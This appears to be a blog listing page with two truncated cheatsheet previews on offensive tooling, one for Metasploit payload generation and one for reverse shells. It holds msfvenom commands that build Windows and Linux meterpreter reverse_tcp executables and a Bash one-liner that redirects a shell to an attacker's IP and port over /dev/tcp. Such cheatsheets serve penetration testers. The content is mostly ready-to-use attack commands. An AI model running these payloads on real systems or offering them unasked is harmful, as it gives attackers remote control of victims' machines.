Cheatsheets

Cheatsheet: Metasploit Payloads

Windows You can use the following command in order to create an EXE file for a Windows machine. msfvenom -p windows/meterpreter/reverse_tcp LHOST=[Your IP] LPORT=[Your Port] -f exe > shell.exe Linux In order to gain access to a Linux host, an ELF file must be created. You can use the following line for that. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[Your IP] LPORT=[Your Port]…

Continue Reading

Cheatsheets

Cheatsheet: Reverse Shells

Bash When we don’t have any other third party tool to get a reverse shell back, we can always redirect the Bash into our host using the following command. bash -i >& /dev/tcp/[Your IP]/[Your Port] 0>&1 Python When we want to get a reverse shell on Linux, we can do it by abusing the interpreters which come with the Operating…

Continue Reading